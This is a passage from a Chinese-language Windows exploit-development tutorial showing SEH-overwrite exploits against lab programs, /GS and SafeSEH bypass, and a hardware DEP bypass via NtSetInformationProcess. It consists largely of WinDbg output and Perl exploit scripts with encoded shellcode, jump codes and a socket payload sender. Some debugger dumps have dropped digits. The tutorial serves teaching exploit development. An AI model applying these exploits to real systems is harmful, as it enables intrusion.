es=0023 fs=003b gs=0000 efl= ntdll!dbgbreakpoint: 7c81a3e1 cc int 3 0:000> g (be8.bdc): Access violation - code c (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=0012fd41 ebx= ecx=0012fd41 edx= esi= edi=004033a8 eip=004010cb esp=0012fcb4 ebp=0012feec iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl= seh!getinput+0xcb: cb 8802 mov byte ptr [edx],al ds:0023: =41 0:000> d ebp 0012feec 7c ff f fc fe y.@..) fefc AAAAAAAAAAAAAAAA 0012ff0c AAAAAAAAAAAAAAAA

43 0012ff1c AAAAAAAAAAAAAAAA 0012ff2c AAAAAAAAAAAAAAAA 0012ff3c AAAAAAAAAAAAAAAA 0012ff4c AAAAAAAAAAAAAAAA 0012ff5c AAAAAAAAAAAAAAAA 回到搜索结果上来, 所有以 开始的地址不能使用 ( 因为属于执行映像自己 ), 仅有 b0b 是可用的 这个地址属于 unicode.nls( 不属于任何加载模块 ), 如果查看下各进程的地址空间 (svchost.exe, w3wp.exe, csrss.exe 等 ), 你会发现 unicode.nls 被映射到大多进程 ( 并不是所有 ) 的不同地址, 幸运的是, 针对指定进程, 基地址依然是静态的, 对于控制台应用程序, 它总是被映射为 ( 在 Windows 2003 Server R2 英文正式版上, 这个地址是相当稳定的, 在 Windows XP SP3 英文版上, 它被映射为 ( 因此可以在 XP SP3 系统上使用地址 b0b)) ( 再提一次, 你可以使用我写的 pvefindaddr 命令, 它可以自动完成所有工作 ) 现在我们需要解决的唯一问题是 : 我们在 unicode.nls 中找到的 call dword ptr[ebp+30h] 指令的地址是以 NULL 字节开头的, 并且输入的是 ascii(null 字节是字符串结束符 )( 因此我们不能把 shellcode 布置在异常处理器的后边 但或许我们可以在 SEH 被覆盖之前就把 shellcode 布置到 SEH 结构的后边 ) 如果是针对 unicode 漏洞的利用, 这不会是一个问题 ( 因为 才是 unicode 字符串的结束符 ) 我们用一些断点覆盖 nextseh, 并用 b0b 覆盖异常处理器 $junk="a" x 508; $junk=$junk."\xcc\xcc\xcc\xcc"; $junk=$junk.pack('v',0x00270b0b);

44 Executable search path is: ModLoad: seh.exe ModLoad: 7c c8c2000 ntdll.dll ModLoad: 77e f42000 C:\WINDOWS\system32\kernel32.dll ModLoad: c3000 C:\WINDOWS\WinSxS\x86_Microsoft.VC90.CRT_1...dll (a94.c34): Break instruction exception - code (first chance) eax= ebx=7ffdb000 ecx= edx= esi=7c8897f4 edi=00151f38 eip=7c81a3e1 esp=0012fb70 ebp=0012fcb4 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl= ntdll!dbgbreakpoint: 7c81a3e1 cc int 3 0:000> g (a94.c34): Access violation - code c (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=0012fd41 ebx= ecx=0012fd41 edx= esi= edi=004033a8 eip=004010cb esp=0012fcb4 ebp=0012feec iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl= seh!getinput+0xcb: cb 8802 mov byte ptr [edx],al ds:0023: =41

45 0:000>!exchain 0012fee0: 00270b0b Invalid exception stack at cccccccc 0:000> g (a94.c34): Break instruction exception - code (first chance) eax= ebx= ecx=00270b0b edx=7c esi= edi= eip=0012fee0 esp=0012f8e8 ebp=0012f90c iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl= fee0 cc int 3 0:000> d eip 0012fee0 cc cc cc cc 0b 0b c ff ' fef f fc fe y.@..)3...aaaa 0012ff AAAAAAAAAAAAAAAA 0012ff AAAAAAAAAAAAAAAA 0012ff AAAAAAAAAAAAAAAA 0012ff AAAAAAAAAAAAAAAA 0012ff AAAAAAAAAAAAAAAA 0012ff AAAAAAAAAAAAAAAA 0:000> d 0012ff AAAAAAAAAAAAAAAA 0012ff AAAAAAAAAAAAAAAA 0012ff AAAAAAAAAAAAAAAA 0012ff AAAAAAAAAAAAAAAA 0012ffa AAAAAAAAAAAAAAAA 0012ffb AAAAAAAAAAAAAAAA 0012ffc AAAAAAAAAAAAAAAA 0012ffd AAAAAAAAAAAAAAAA 这个新的 ( 被控制的 )SEH 链表明我们已经成功改写了 nseh 和 seh, 异常传递给程序后, 程序会跳转到四字节的 nseh 中去继续执行 ( 在这里是四个 int 3) 当异常发生时, 我们步入跟踪, 我们会看到 ntdll 中的验证例程被调用, 该地址决定异常处理器是否有效 (call ntdll!rtlisvalidhandler), 最后异常处理器被执行, 它让程序执行流到达 nseh 中 (4 个 int 3): eax= ebx= ecx=00270b0b edx=7c esi= edi= eip=7c esp=0012f8f0 ebp=0012f90c iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl= ntdll!executehandler2+0x24: 7c ffd1 call ecx {00270b0b} 0:000> eax= ebx= ecx=00270b0b edx=7c esi= edi= eip=00270b0b esp=0012f8ec ebp=0012f90c iopl=0 nv up ei pl zr na pe nc

46 cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl= b0b ff5530 call dword ptr [ebp+30h] ss:0023:0012f93c=0012fee0 0:000> eax= ebx= ecx=00270b0b edx=7c esi= edi= eip=0012fee0 esp=0012f8e8 ebp=0012f90c iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl= fee0 cc int 3 查看 eip 指向的内存 ( 查看前面的 windbg 输出 ), 我们注意到我们可以很容易的引用到 junk 中的内容, 尽管我们不能覆盖 SEH 后边的内存 ( 因为它包含 NULL 字节 ), 但我们依然可以完成一个有效的 exploit, 虽然对 shellcode 的空间多少有点限制 (500 字节左右 ) 但应该能工作 因此, 如果我们用 nops+shellcode+junk 替换那些 A, 我们就可以跳转到那些 nop 中, 因此就得到了控制权, 利用实例 :( 使用 int 3 作为 shellcode): my $size=508; my $nops = "\x90" x 24; my $shellcode="\xcc\xcc"; $junk=$nops.$shellcode; $junk=$junk."\x90" x ($size- length($nops.$shellcode)); $junk=$junk."\xeb\x1a\x90\x90"; #nseh, jump 26 bytes $junk=$junk.pack('v',0x00270b0b); print "Payload length : ". length($junk)."\n"; system("\"c:\\program Files\\Debugging Tools for Windows (x86)\\windbg\" seh \"$junk\"\r\n"); Symbol search path is: SRV*C:\windbg symbols* Executable search path is: ModLoad: seh.exe ModLoad: 7c c8c2000 ntdll.dll ModLoad: 77e f42000 C:\WINDOWS\system32\kernel32.dll ModLoad: c3000 C:\WINDOWS\WinSxS\x86_ _x-ww_D495AC4E\MSVCR90.dll (6f8.9ac): Break instruction exception - code (first chance) eax= ebx=7ffd9000 ecx= edx= esi=7c8897f4 edi=00151f38 eip=7c81a3e1 esp=0012fb70 ebp=0012fcb4 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl= ntdll!dbgbreakpoint: 7c81a3e1 cc int 3 0:000> g (6f8.9ac): Access violation - code c (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=0012fd90 ebx= ecx=0012fd90 edx= esi= edi=004033a8 eip=004010cb esp=0012fcb4 ebp=0012feec iopl=0 nv up ei ng nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=

47 seh!getinput+0xcb: cb 8802 mov byte ptr [edx],al ds:0023: =41 0:000>!exchain 0012fee0: 00270b0b Invalid exception stack at 90901aeb 0:000> g (6f8.9ac): Break instruction exception - code (first chance) eax= ebx= ecx=00270b0b edx=7c esi= edi= eip=0012ff14 esp=0012f8e8 ebp=0012f90c iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl= ff14 cc int 3 0:000> d eip 0012ff14 cc cc ff ff ff ff ff ff ff ( 也就是说, 只要跳过那些中间不相关的数据就可以利用成功 ) 现在我们使用 2 个向后的跳转来完成这个利用 : - 在 nseh 上放置向后的跳转指令 ( 跳转 7 字节 ), 它将被布置在 buffer 尾部的异常处理器之前 - 向后跳转 400 字节 (-400( 十进制 )= fffffe70(16 进制 )), 在放置 shellcode 位置的前边布置 25 字节的 nop( 否则 shellcode 不会正确执行 ) - 我们把 shellcode 放在用于覆盖异常处理结构的指令地址之前 my $size=508; #before SE structure is hit my $nops = "\x90" x 25; #25 needed to align shellcode # windows/exec bytes # # Encoder: x86/shikata_ga_nai # EXITFUNC=seh, CMD=calc my $shellcode="\xd9\xcb\x31\xc9\xbf\x46\xb7\x8b\x7c\xd9\x74\x24\xf4\xb1". "\x1e\x5b\x31\x7b\x18\x03\x7b\x18\x83\xc3\x42\x55\x7e\x80". "\xa2\xdd\x81\x79\x32\x55\xc4\x45\xb9\x15\xc2\xcd\xbc\x0a". "\x47\x62\xa6\x5f\x07\x5d\xd7\xb4\xf1\x16\xe3\xc1\x03\xc7". "\x3a\x16\x9a\xbb\xb8\x56\xe9\xc4\x01\x9c\x1f\xca\x43\xca". "\xd4\xf7\x17\x29\x11\x7d\x72\xba\x46\x59\x7d\x56\x1e\x2a". "\x71\xe3\x54\x73\x95\xf2\x81\x07\xb9\x7f\x54\xf3\x48\x23". "\x73\x07\x89\x83\x4a\xf1\x6d\x6a\xc9\x76\x2b\xa2\x9a\xc9".

48 "\xbf\x49\xec\xd5\x12\xc6\x65\xee\xe5\x21\xf6\x2e\x9f\x81". "\x91\x5e\xd5\x26\x3d\xf7\x71\xd8\x4b\x09\xd6\xda\xab\x75". "\xb9\x48\x57\x7a"; $junk=$nops.$shellcode; $junk=$junk."\x90" x ($size- length($nops.$shellcode)-5); #5 bytes = length of jmpcode $junk=$junk."\xe9\x70\xfe\xff\xff"; #jump back 400 bytes $junk=$junk."\xeb\xf9\xff\xff"; #jump back 7 bytes (nseh) $junk=$junk.pack('v',0x00270b0b); #seh print "Payload length : ". length($junk)."\n"; system("seh \"$junk\"\r\n"); 启用 /GS/Safeseh 重新生成执行文件 ( 两种保护同时启用 ), 并再次尝试攻击 你会发现 exploit 失败了, 但仅仅是因为异常处理结构的偏移变化了 ( 由于加入了 security_cookie 域 ), 如果修改偏移, 并稍微移动 shellcode, 这个 exploit 将又可以成功利用了 (Windows 2003 Server R2 SP2 英文正式版, 启用编译选项 /GS 和 /Safeseh, 禁用 DEP) my $size=516; #new offset to deal with GS my $nops = "\x90" x 200; #moved shellcode a little bit # windows/exec bytes #

49 # Encoder: x86/shikata_ga_nai # EXITFUNC=seh, CMD=calc my $shellcode="\xd9\xcb\x31\xc9\xbf\x46\xb7\x8b\x7c\xd9\x74\x24\xf4\xb1". "\x1e\x5b\x31\x7b\x18\x03\x7b\x18\x83\xc3\x42\x55\x7e\x80". "\xa2\xdd\x81\x79\x32\x55\xc4\x45\xb9\x15\xc2\xcd\xbc\x0a". "\x47\x62\xa6\x5f\x07\x5d\xd7\xb4\xf1\x16\xe3\xc1\x03\xc7". "\x3a\x16\x9a\xbb\xb8\x56\xe9\xc4\x01\x9c\x1f\xca\x43\xca". "\xd4\xf7\x17\x29\x11\x7d\x72\xba\x46\x59\x7d\x56\x1e\x2a". "\x71\xe3\x54\x73\x95\xf2\x81\x07\xb9\x7f\x54\xf3\x48\x23". "\x73\x07\x89\x83\x4a\xf1\x6d\x6a\xc9\x76\x2b\xa2\x9a\xc9". "\xbf\x49\xec\xd5\x12\xc6\x65\xee\xe5\x21\xf6\x2e\x9f\x81". "\x91\x5e\xd5\x26\x3d\xf7\x71\xd8\x4b\x09\xd6\xda\xab\x75". "\xb9\x48\x57\x7a"; $junk=$nops.$shellcode; $junk=$junk."\x90" x ($size- length($nops.$shellcode)-5); $junk=$junk."\xe9\x70\xfe\xff\xff"; #jump back 400 bytes $junk=$junk."\xeb\xf9\xff\xff"; #jump back 7 bytes $junk=$junk.pack('v',0x00270b0b); print "Payload length : ". length($junk)."\n"; system("seh \"$junk\"\r\n");

50 DEP 到目前为止的所有示例中, 我们都是把 shellcode 放在栈中, 然后让程序跳到其中去执行, 硬件 DEP( 或数据执行保护 ) 就是针对性的保护措施, 它把需要保护的页面置成非可执行页 ( 总是把堆栈设置成非可执行属性 ), 从而达到防止 shellcode 在堆栈中执行的目的 维基百科上说 :DEP 有两种模式, 如果 CPU 支持内存页 NX 属性, 就是硬件支持的 DEP 如果 CPU 不支持, 那就是软件支持的 DEP 模式, 这种 DEP 不能阻止在数据页上执行代码, 但可以防止其他的 exploit(seh 覆盖 ) Windows XP Service Pack 2,Windows XP Tablet PC Edition 2005, Windows Server 2003 Service Pack 1 and later, Windows Vista, and Windows Server 2008 和所有新版本的系统都支持 DEP 换句话说 : 软件 DEP 就是 safeseh! 软件 DEP 和 NX/XD 标志无关!( 在 Microsoft KB article 和 Uninformed 可以获取到更多关于 DEP 的信息 ) 当处理器 / 系统支持 NX/XD,Windows 才拥有硬件 DEP, 如果处理器不支持 NX/XD, 那么系统只有 safeseh 保护 ( 启用时 ), 而不具有硬件 DEP

51 Windows 中的 DEP tabsheet 会表明是否支持硬件 DEP 当处理器 / 系统不支持 NX/XD,Windows DEP 等于软件 DEP,Windows DEP tabsheet 会是这样的 : 两大处理器厂商都实现了非可执行的页面保护技术 : - AMD 开发了支持非可执行保护的处理器 - Intel 也开发出了支持执行屏蔽标志的处理器, 理解下边这些很重要 : 根据 OS / SP 版本的不同,DEP 对软件的保护行为是不同的 在 Windows 的早期版本, 以及客户端版本, 只为 windows 核心进程启用了 DEP, 此设置已在新版本中改变 在 Windows 服务器操作系统上, 除了那些手动添加到排除列表中的进程外, 系统为其他所有进程都开启了 DEP 保护, 客户端操作系统使用可选择启用的方式是很容易理解的, 因为他们需要能够运行各种软件, 而有的软件可能和 DEP 不兼容 在服务器上, 在部署到服务器前都经过了严格的测试 ( 如果确实是不兼容, 他们仍然可以把它们放到排除名单中 ) 在 Windows 2003 server SP1 上 DEP 默认设置是 OptOut 这意味着, 除了排除列表上的进程外, 所有进程都受到 DEP 保护, 在 Windows XP SP2 和 Vista 系统上,DEP 的默认设置是 OptIn(DEP 仅应用于核心的系统可执行文件 ) 除了 optin 和 optout, 影响 DEP 的还有两个启动选项 : - AlwaysOn: 表示对所有进程启用 DEP 的保护, 没有例外 在这种模式下,DEP 不可以被关闭 - AlwaysOff : 表示对所有进程都禁用 DEP, 这种模式下,DEP 也不能被动态开启, 在 64 位的系统上,DEP 总是开启, 不可以被关闭, 记住 :IE 依然是 32 位的程序 NX/XD 位 在支持 NX 标志的 CPU 上启用硬件 DEP 时,64 位内核本身就支持 DEP, 而 32 位系统会自动引导到 PAE 模式来支持 DEP,Vista 通过把只有数据存在的内存标记出来, 支持 NX/XD 的处理器就可以知道他们是不可执行的数据, 这对阻止溢出攻击是有益的 在 Vista 系统上, 进程是否启用了 DEP, 可以通过 windows 任务管理器来看到 关于 NX 保护概念非常简单, 如果硬件支持 NX, 并且 BIOS 被配置成启用 NX, 操作系统也支持的话, 至少系统服务可以得到保护, 根据不同的设置, 应用程序也可以得到保护, 编译器 Visual Studio C 提供了一个链接标志 (/ NXCOMPAT), 也可以使程序启用 DEP 的保护 当运行前边编写的 exploit 程序来在启用硬件 DEP 的 windows2003 Server(R2, SP2, 正式版 ) 系统上进行攻击, 这些 exploit 将不会成功 ( 地址 b0b/ b0b 以 check if this is a valid

52 handler 失败而告终, 这是软件 DEP 的杰作, 有的因为执行堆栈中的代码而失败 ( 这是硬件 DEP 的效果 )) 如果你把漏洞程序 seh.exe 放到排除列表里,exploit 又成功了, 因此证明了 DEP 是有效的 绕过硬件 DEP 截至今日, 已经出现了一些众所周知的绕过 DEP 保护的技术 : ret2libc (no shellcode) 这种技术大体是这样的 : 不直接跳转到 shellcode 去执行, 而是去执行库中的代码, 被执行的代码也就可以看做是你的恶意代码 可以在库中找到一段执行系统命令的代码, 用这段库代码的地址覆盖返回地址, 因此即使 NX/XD 禁止在堆栈上执行代码, 但库中的代码依然是可以执行的, 我们可以利用这点, 很显然, 这种技术对执行的代码有很大的限制, 但如果不在乎这些的话, 它还算是成功的, 你可以阅读关于这种技术的更多信息 : ZwProtectVirtualMemory 这是另外一种可以绕过 DEP 的技术, 更多的信息在这里 : 这种技术基于 ret2libc 技术, 实际上它将多个 ret2libc 综合起来从而达到修改内存属性的目的, 在这种情况下栈是这样设置的, 当一个函数返回的时候, 程序会调用函数 VirtualProtect, 需要设置的一个参数就是 VirtualProtect 的返回地址, 如果你把类似 jmp esp 指令的地址设置成 VirtualProtect 的返回地址, 当 VirtualProtect 返回后,esp 应当正好指向你的 shellcode, 因此 shellcode 就可以获得执行了, 其他的参数是 shellcode( 需要设置成可执行的内存 ( 如栈 )) 的地址,shellcode 的大小, 等等 不幸的是, 要让执行流到达 VirtualProtect 需要用到 NULL( 当操作字符串缓冲区 /ascii payload 的时候, 这是致命的 ), 关于这种技术就讨论到这里 关闭进程的 DEP (NtSetInformationProcess) 因为 DEP 可以设置不同的模式, 操作系统需要能动态关闭 DEP, 因此系统肯定有例程 /API 来启用或关闭 NX, 如果黑客可以找到这个 NTDLL 中的 API, 就能绕过硬件 DEP 保护 一个进程的 DEP 设置标志保存在内核结构中 ( KPROCESS 结构 ), 这个标志可以用函数 NtQueryInformationProcess 和 NtSetInformationProcess 通过设置 ProcessExecuteFlags 类来查询和修改, 用内核调试器也可以达到同样的目的 启用 DEP, 并通过调试器运行 seh.exe,kprocess 结构如下 ( 省去了不相关的 ):

53 0:000> dt nt!_kprocess -r ntdll!_kprocess... +0x06b Flags : _KEXECUTE_OPTIONS +0x000 ExecuteDisable : Pos 0, 1 Bit +0x000 ExecuteEnable : Pos 1, 1 Bit +0x000 DisableThunkEmulation : Pos 2, 1 Bit +0x000 Permanent : Pos 3, 1 Bit +0x000 ExecuteDispatchEnable : Pos 4, 1 Bit +0x000 ImageDispatchEnable : Pos 5, 1 Bit +0x000 Spare : Pos 6, 2 Bits Seh.exe 进程的 _KPROCESS 结构 (starts at ): 0:000> dt nt!_kprocess r ntdll!_kprocess +0x000 Header : _DISPATCHER_HEADER... +0x06b Flags : _KEXECUTE_OPTIONS +0x000 ExecuteDisable : 0y1 +0x000 ExecuteEnable : 0y0 +0x000 DisableThunkEmulation : 0y0 +0x000 Permanent : 0y0 +0x000 ExecuteDispatchEnable : 0y0 +0x000 ImageDispatchEnable : 0y1 +0x000 Spare : 0y00 当 DEP 被启用时,ExecuteDisable 被置位, 当 DEP 被禁用,ExecuteEnable 被置位, 当 Permanent 标志置位的时候表示这些设置是最终设置, 不可以被改变 David Kennedy 最近发表了一篇关于如何在 windows 2003 sp2 上绕过 DEP 保护的文章, 在这节中, 我会简单讨论下这种技术 实质上, 这种 DEP 绕过技术就是调用可以关闭 DEP 的系统函数, 然后返回到 shellcode, 为了顺利达成这样目的, 你需要对栈的布局进行针对性的设计 稍后, 你就能弄懂我所说的意思 要做的第一件事就是调用函数 NtSetInformationProcess, 调用的时候指定信息类 ProcessExecuteFlags (0 22) 和 MEM_EXECUTE_OPTION_ENABLE (0 2) 标志,DEP 就会被关闭 简单的说, 这个函数调用就是 : ( 拷贝自 Skape/Skywing 的文章 )

54 ULONG ExecuteFlags = MEM_EXECUTE_OPTION_ENABLE; NtSetInformationProcess( NtCurrentProcess(), // (HANDLE)-1 ProcessExecuteFlags, // 0x22 &ExecuteFlags, // ptr to 0x2 sizeof(executeflags)); // 0x4 为了初始化这个函数调用, 你需要用到一些技术, 一个是 ret2libc 技术, 该流程将需要重定向到 NtSetInformationProcess 函数, 为了给它设置正确的参数, 需要用正确的值布置堆栈, 这种情况下有个缺点, 那就是你需要能在这次缓冲区溢出中使用 NULL 另外一个是利用 ntdll 中现有的关闭进程 DEP 的代码, 并把控制传回到用户控制的缓冲区, 你依然需要布置堆栈, 但却省去了为函数设计参数的麻烦 请记住这种技术依赖于系统版本, 在 Windows XP SP2, SP3, Windows 2003 SP1 系统上利用会比在 Windows 2003 SP2 上简单很多 关闭 DEP (Windows XP / Windows 2003 SP1) : 演示 为了在 Windows XP 上关闭硬件 DEP, 需要完成下边的步骤 : -eax 必须设置为 1( 好吧,eax 的低位必须设置为 1), 然后函数返回 ( 例如 : mov eax,1 / ret - mov al,0x1 / ret - xor eax,eax / inc eax / ret 等等类似的指令 ), 稍后, 你可以看到为什么需要这样设置 当跳转到 LdrpCheckNXCompatibility, 下边的操作会被执行 : (1) 设置 esi 为 2 (2) 检查 ZF 是否置位 (al 等于 1 的情况 ) (3) 检查 al 是否等于 1, 如果相等, 就会实现一个跳转 (4) 一个局部变量被设置成 esi 的内容 (esi 等于 2, 看步骤 (1), 所以局部变量等于 2) (5) 跳转到另一处代码 (6) 检查局部变量是否为 0, 它等于 2( 看步骤 4), 所以它跳转到另一处代码 (7) 把信息类设置为 ProcessExecuteFlags, 并把信息参数指针设置成前边初始化为 2 的那个变量的地址 ( 看步骤 (1) 和 (4)), 然后调用 NtSetInformationProcess. 这个进程的 NX 就被关闭了 (8) 到这里, 一个典型函数结尾被执行 ( 恢复保存的寄存器, 执行 leave/ret 指令 ) 为了完成这个任务, 我们需要找到三个地址, 并把它们准确的放到堆栈的对应位置 - 设置 eax 为 1, 然后返回, 你需要用这个地址去覆盖返回地址

55 - 当 eax 设置成 1, 然后执行返回时,ntdll!LdrpCheckNXCompatibility 中指令 cmp al,0x1 的地址应该正好在栈顶 ( 它会成为新的 EIP), 注意上一步的指令 ret, 如果是带偏移的 ret, 你需要抵消这个偏移对栈的影响, 这样程序流程就会到达关闭 NX 的函数, 接着看看这个函数返回到哪里 - 当关闭 NX 的函数返回时, 负责跳转到 shellcode(jmp esp, 等等 ) 的指令应该正好得到控制权 此外, 因为存在针对 ebp-4 地址的写操作 ( 这个变量会作为 NtSetInformationProcess 的参数来关闭 NX), 所以 ebp 必须指向可写的地址, 由于在溢出的时候,ebp 也被缓冲区的数据覆盖了, 因此在执行关闭 NX 的例程前必须用某种方式让 ebp 重新指向可写的内存地址 ( 例如栈中的地址 ), 稍后, 我们会讨论这种技术 为了演示在 windows xp 上绕过 DEP, 我们将使用一个带漏洞的服务程序, 它监听 200 端口, 这个程序存在缓冲区溢出漏洞, 它允许我们直接覆盖返回地址, 在 windows xp sp3 上编译这个代码 ( 不开启 /GS 和 Safeseh), 并确保 DEP 已被启用 为了实现完美的绕过, 我们需要完成所有步骤, 并需要合理的布置堆栈 我们可以在 ntdll 中找到一个把 eax 置 1 的指令, 这个指令后边紧跟着一个返回指令 (NtdllOkayToLockRoutine) : ntdll!ntdllokaytolockroutine: 7c95371a b001 mov al,1 7c95371c c20400 ret 4 注意 : 我们需要处理四字节的偏移 ( 因为 ret+0x4 被执行 ) 也可以找到一些其他的指令 : kernel32.dll : kernel32!nlsthreadcleanup+0x71: 7c80c1a0 b001 mov al,1 7c80c1a2 c3 ret rpcrt4.dll : 0:000> u 0x77eda402 RPCRT4!NDR_PIPE_HELPER32::GotoNextParam+0x1b: 77eda402 b001 mov al,1 77eda404 c3 ret rpcrt4.dll : 0:000> u 0x77eda6ba

56 RPCRT4!NDR_PIPE_HELPER32::VerifyChunkTailCounter: 77eda6ba b001 mov al,1 77eda6bc c20800 ret 8 注意 :ret+0x8! ( 稍后, 我会解释如何查找这些地址 ) 好吧, 我们有了四个符合第一项要求的地址, 这个地址需要被放到堆栈中保存返回地址的地方 在 windows xp sp3( 英文 ) 上函数 LdrpCheckNXCompatibility 是这个样子 : 0:000> uf ntdll!ldrpchecknxcompatibility ntdll!ldrpchecknxcompatibility: 7c91cd31 8bff mov edi,edi 7c91cd33 55 push ebp 7c91cd34 8bec mov ebp,esp 7c91cd36 51 push ecx 7c91cd fc00 and dword ptr [ebp-4],0 7c91cd3b 56 push esi 7c91cd3c ff7508 push dword ptr [ebp+8] 7c91cd3f e887ffffff call ntdll!ldrpchecksafediscdll (7c91cccb) 7c91cd44 3c01 cmp al,1 7c91cd46 6a02 push 2 7c91cd48 5e pop esi 7c91cd49 0f84ef je ntdll!ldrpchecknxcompatibility+0x1a (7c94153e) 在地址 7c91cd44 上, 步骤 (1) 和 (3) 被执行,esi 被置 2, 并将跳到 0 7c94153e, 这意味我们需要放到堆栈上的第二个地址是 7c91cd44 在 7c91cd49 处程序跳转到地址 7c94153e, 它包含下边的指令 : ntdll!ldrpchecknxcompatibility+0x1a: 7c94153e 8975fc mov dword ptr [ebp-4],esi 7c e909b8fdff jmp ntdll!ldrpchecknxcompatibility+0x1d (7c91cd4f) 这就是步骤 (4) 和 (5),esi 等于 2,ebp-4 也被置成 2, 接着我们跳转到 7c91cd4f, 下边是它包含的指令 : 0:000> u 7c91cd4f ntdll!ldrpchecknxcompatibility+0x1d: 7c91cd4f 837dfc00 cmp dword ptr [ebp-4],0 7c91cd53 0f85089b0100 jne ntdll!ldrpchecknxcompatibility+0x4d (7c936861)

57 步骤 (6), 代码根据 ebp-4 是否为 0, 选择执行, 我们知道 ebp-4 等于 2, 所以这个跳转被执行, 我们来到了 7c936861, 这里是步骤 (7), 这个地址的指令如下 : 0:000> u 7c ntdll!ldrpchecknxcompatibility+0x4d: 7c a04 push 4 7c d45fc lea eax,[ebp-4] 7c push eax 7c a22 push 22h 7c aff push 0FFFFFFFFh 7c93686b e82e74fdff call ntdll!zwsetinformationprocess (7c90dc9e) 7c e91865feff jmp ntdll!ldrpchecknxcompatibility+0x5c (7c91cd8d) 7c nop 在 7c93686b 处, 函数 ZwSetInformationProcess 被调用, 调用指令之前基本都是根据 ProcessExecuteFlags 信息类设置参数, 其中一个参数是 ( 也就是 ebp-4)0x2, 这表示当函数完成时,NX 会被关闭, 它返回并执行下条指令 ( 在 7c936870), 这里是函数的结尾 : ntdll!ldrpchecknxcompatibility+0x5c: 7c91cd8d 5e pop esi 7c91cd8e c9 leave 7c91cd8f c20400 ret 4 在这里,NX 被关闭, ret 4 指令返回调用函数, 如果正确的设置了堆栈, 栈上的跳板地址将获得控制权, 这个跳板地址可以跳转到 shellcode 去继续执行 听起来似乎简单, 但是发现这个技术的人很可能不得不去研究很多东西 为此我们应该竖起我们的大拇指 我们布置堆栈的条件意味着什么? 我们讨论了地址和需要注意的偏移 但是我们怎么去构造字符串来溢出这个缓冲区呢? ImmDbg 可以帮到我们,ImmDbg 支持的命令!findantidep, 可以帮助设置正确的堆栈, 或者用我写的命令 pvefindaddr 来寻找更多的可用的地址 ( 我注意到!findantidep 不一定能获取到正确的地址, 所以你可以使用!findantidep 得到栈结构, 然后用 pvefindaddr 来获取正确的地址 ), pvefindaddr (ImmDbg pycommand)( 下载之前需要登录 ) 首先, 我们使用 pvefindaddr 来找下需要的两个地址

58 接着, 用!findantidep 来获取结构, 这个命令会出现三个对话框, 仅需要在第一个对话框中选择一个地址 ( 任意地址 ), 然后在第二个对话框中填上 jmp esp ( 没有引号 ), 然后在第三个对话框中选择任意地址, 注意, 我们不用 findantidep 提供的地址, 只用它提供的结构 打开日志窗口 : stack = "\xa0\xc1\x80\x7c\xff\xff\xff\xff\x48\x2c\x91\x7c\xff\xff\xff\xff" + "A" * 0x54 + "\x73\x12\xab\x71" + shellcode!findantidep 给我们展示了我们需要怎样安排堆栈 : 1st addr offset 1 2nd address offset 2 54 bytes jmp to shellc shellc 第一个地址是实现设置 eax 为 1 并返回的那两条指令的地址 ( 例如 : pvefindaddr 发现的地址 0 7c95371a), 在我们的攻击串中, 我们需要用这个地址覆盖保存在栈中的返回地址, 这个地址上会执行 ret 4, 因此在需要在这个地址的后边, 添加四字节的数据来抵消其对堆栈的影响 (offset 1) 第二个地址是用于关闭进程 NX 的地址, 这个地址是 0 7c91cd44( 用 pvefindaddr 找到得 ), 当这个例程返回时, 有一个 ret 4 被执行 ( 因此我们需要再次添加 4 字节的填充物 )(offset 2) 接着是 54 字节的填充物, 这是为了调整堆栈 当 NX 被禁用后, 它会恢复保存的寄存器, 执行 leave 指令, 这时,ebp 指向了距离 esp 54 字节远的位置, 为了应对这种情况, 我们需要多添加 54 字节数据 在这 54 字节的后边, 我们把跳板地址放在这里, 当禁用 NX 的函数返回的时候, 这个位置上的地址会被设置成 EIP 而得到执行权, 最后, 我们把 shellcode 放在后边

59 ( 很显然这个结构符合攻击时的真实堆栈, 如果你可以找到类似 jmp/call/push+ret 的能跳转到 shellcode 的指令, 只要把它们放在堆栈上适当的地方, 它就可以被执行 ) 实际上,!findantidep 给出的整个结构只是显示了原理, 为了确保构建正确的缓冲区, 你需要一步步的跟踪观察寄存器的状态, 我们的例子也将完全按照这样的方式来完成 让我们看下我们的例子 vulnsrv.exe, 我们知道我们将在 508 字节后覆盖返回地址, 所以我们在缓冲区的这个位置放置特定的值来覆盖返回地址, 这是关闭 NX 的第一步 我们从头开始构建这个攻击串, 首先我们把第一个地址放在返回地址对应的位置上 : 508 A s + 0 7c95371a + BBBB + CCCC + 54 D s + EEEE F s use strict; use Socket; my $junk = "A" x 508; my $disabledep = pack('v',0x7c95371a); $disabledep = $disabledep."bbbb"; $disabledep = $disabledep."cccc"; $disabledep = $disabledep.("d" x 54); $disabledep = $disabledep.("eeee"); my $shellcode="f" x 700; # initialize host and port my $host = shift 'localhost'; my $port = shift 200; my $proto = getprotobyname('tcp'); # get the port address my $iaddr = inet_aton($host); my $paddr = sockaddr_in($port, $iaddr); print "[+] Setting up socket\n"; # create the socket, connect to the port socket(socket, PF_INET, SOCK_STREAM, $proto) or die "socket: $!"; print "[+] Connecting to $host on port $port\n"; connect(socket, $paddr) or die "connect: $!"; print "[+] Sending payload\n"; my $payload = $junk.$disabledep.$shellcode."\n"; print SOCKET $payload."\n"; print "[+] Payload sent, ".length($payload)." bytes\n"; close SOCKET or die "close: $!"; 用这个脚本攻击程序后, 一个异常被抛出 : ( c4): Access violation - code c (first chance)

